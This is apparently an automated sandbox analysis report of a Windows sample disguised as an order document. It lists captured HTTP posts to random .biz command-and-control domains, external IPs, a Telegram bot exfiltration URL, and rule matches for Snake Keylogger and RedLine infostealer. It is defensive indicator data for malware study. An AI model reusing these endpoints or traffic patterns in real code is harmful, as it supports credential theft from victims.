Source: global traffic	HTTP traffic detected: POST /hndiufmakse HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 834
Source: global traffic	HTTP traffic detected: POST /hcvpcb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /lxda HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 834
Source: global traffic	HTTP traffic detected: POST /lkgggwxh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /lsfncqfq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 834
Source: global traffic	HTTP traffic detected: POST /algtvyj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /oxlmrobhj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 834
Source: global traffic	HTTP traffic detected: POST /kpnskvgb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /fmyrcucxukod HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 834
Source: global traffic	HTTP traffic detected: POST /rdl HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /prgqqrrnmmetm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 834
Source: global traffic	HTTP traffic detected: POST /oitulo HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /agmjd HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: xlfhhhm.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 834

Source: unknown	HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.7:49725 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.7:49759 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: pywolwnvd.biz
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: ssbzmoy.biz
Source: global traffic	DNS traffic detected: DNS query: cvgrf.biz
Source: global traffic	DNS traffic detected: DNS query: npukfztj.biz
Source: global traffic	DNS traffic detected: DNS query: przvgke.biz
Source: global traffic	DNS traffic detected: DNS query: zlenh.biz
Source: global traffic	DNS traffic detected: DNS query: knjghuig.biz
Source: global traffic	DNS traffic detected: DNS query: uhxqin.biz
Source: global traffic	DNS traffic detected: DNS query: anpmnmxo.biz
Source: global traffic	DNS traffic detected: DNS query: lpuegx.biz
Source: global traffic	DNS traffic detected: DNS query: vjaxhpbji.biz
Source: global traffic	DNS traffic detected: DNS query: xlfhhhm.biz
Source: global traffic	DNS traffic detected: DNS query: ifsaia.biz
Source: global traffic	DNS traffic detected: DNS query: saytjshyf.biz
Source: global traffic	DNS traffic detected: DNS query: vcddkls.biz

Source: unknown

HTTP traffic detected: POST /j HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 834

Source: alg.exe, 0000000B.00000003.1672024294.000000000051E000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1750326950.000000000051E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138/lkgggwxh
Source: alg.exe, 0000000B.00000003.1750547017.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1672024294.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1970878645.0000000000531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.138:80/lkgggwxh
Source: alg.exe, 0000000B.00000003.1524192545.00000000004FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/
Source: vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/j
Source: vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/jqj
Source: vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212/
Source: vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212/7
Source: vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212/H
Source: vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212/S
Source: vbc.exe, 00000009.00000002.2747734535.0000000009D0E000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2747734535.0000000009D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212/agmjd
Source: vbc.exe, 00000009.00000002.2747734535.0000000009D0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212:80/agmjdrrnmmetm0
Source: alg.exe, 0000000B.00000003.1970878645.0000000000531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/algtvyjJ
Source: vbc.exe, 00000009.00000002.2639227237.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/fmyrcucxukod
Source: vbc.exe, 00000009.00000002.2639227237.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/lsfncqfq
Source: vbc.exe, 00000009.00000002.2639227237.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/oxlmrobhj
Source: alg.exe, 0000000B.00000003.1970878645.0000000000531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/algtvyj
Source: vbc.exe, 00000009.00000002.2747734535.0000000009D0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/fmyrcucxukod
Source: vbc.exe, 00000009.00000002.2747734535.0000000009D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/lsfncqfq
Source: vbc.exe, 00000009.00000002.2747734535.0000000009D0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/oxlmrobhj
Source: vbc.exe, 00000009.00000002.2696625029.0000000007861000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndn
Source: vbc.exe, 00000009.00000002.2696625029.00000000077FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.
Source: vbc.exe, 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.P
Source: vbc.exe, 00000009.00000002.2696625029.0000000007876000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: vbc.exe, 00000009.00000002.2696625029.0000000007861000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2696625029.0000000007876000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007831000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: vbc.exe, 00000009.00000002.2696625029.0000000007876000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: vbc.exe, 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/h
Source: vbc.exe, 00000009.00000002.2696625029.00000000077F6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/p
Source: vbc.exe, 00000009.00000002.2696625029.0000000007892000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: RFQ_PO N89397-GM7287-Order.bat.exe, 00000000.00000002.1420209472.0000000003493000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2696625029.000000000777C000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2696625029.0000000007849000.00000004.00000800.00020000.00000000.sdmp, YRtQgzFlDnVSru.exe, 00000016.00000002.1552755563.0000000002689000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: alg.exe, 0000000B.00000003.2062072594.0000000000B90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/DataSet1.xsd
Source: SingleClientServicesUpdater.exe.9.dr	String found in binary or memory: http://www.winimage.com/zLibDll
Source: vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xlfhhhm.biz/
Source: vbc.exe, 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: vbc.exe, 00000009.00000002.2696625029.0000000007876000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: vbc.exe, 00000009.00000002.2696625029.0000000007876000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007846000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: vbc.exe, 0000002A.00000002.2671075234.0000000007779000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.228
Source: vbc.exe, 00000009.00000002.2696625029.0000000007876000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.228l
Source: vbc.exe, 00000009.00000002.2696625029.00000000077A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org8
Source: vbc.exe, 0000002A.00000002.2671075234.0000000007779000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.orgLL(

Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 42.2.vbc.exe.7590f08.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 42.2.vbc.exe.8745570.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 42.2.vbc.exe.7590000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.6272458.3.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 42.2.vbc.exe.8775190.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 42.2.vbc.exe.8746478.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 42.2.vbc.exe.8746478.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 42.2.vbc.exe.8775190.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 42.2.vbc.exe.73b6a9e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 22.2.YRtQgzFlDnVSru.exe.36cce48.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 22.2.YRtQgzFlDnVSru.exe.3819e68.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 42.2.vbc.exe.73b6a9e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 42.2.vbc.exe.73b79a6.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 22.2.YRtQgzFlDnVSru.exe.3819e68.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 42.2.vbc.exe.7590f08.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 42.2.vbc.exe.8745570.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 42.2.vbc.exe.9ad0000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.63bf478.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.6272458.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 22.2.YRtQgzFlDnVSru.exe.36cce48.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 42.2.vbc.exe.9ad0000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 42.2.vbc.exe.73b79a6.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 42.2.vbc.exe.7590000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000002A.00000002.2702940038.0000000009AD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: vbc.exe PID: 3628, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: RFQ_PO N89397-GM7287-Order.bat.exe

Source: C:\Windows\System32\alg.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\f1a1dcf99c90d829.bin
Source: C:\Windows\System32\wbengine.exe	File created: C:\Windows\Logs\WindowsBackup

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_05701A03	0_2_05701A03
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_057021DB	0_2_057021DB
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_05700E3E	0_2_05700E3E
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_05703740	0_2_05703740
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_05703733	0_2_05703733
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_09AB0040	0_2_09AB0040
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_0B5028E8	0_2_0B5028E8
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_0B50AB40	0_2_0B50AB40
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_0B50AB30	0_2_0B50AB30
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_0B5028D8	0_2_0B5028D8
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_0B509E98	0_2_0B509E98
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_0B50BDCF	0_2_0B50BDCF
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_0B50BDE0	0_2_0B50BDE0
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_0B50A2D0	0_2_0B50A2D0
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_0B50A2C0	0_2_0B50A2C0
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_0B500040	0_2_0B500040
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_0B500006	0_2_0B500006
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_0B50A708	0_2_0B50A708
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 0_2_0F261F70	0_2_0F261F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_004ABD1A	9_2_004ABD1A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_004A87FC	9_2_004A87FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0055000C	9_2_0055000C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00418244	9_2_00418244
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00418CCC	9_2_00418CCC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00418788	9_2_00418788
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0041A4BE	9_2_0041A4BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F48286	9_2_00F48286
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F730F0	9_2_00F730F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F46EAF	9_2_00F46EAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F47B71	9_2_00F47B71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F705D0	9_2_00F705D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F47F80	9_2_00F47F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_070B0F10	9_2_070B0F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_070B0F20	9_2_070B0F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_070B15B8	9_2_070B15B8
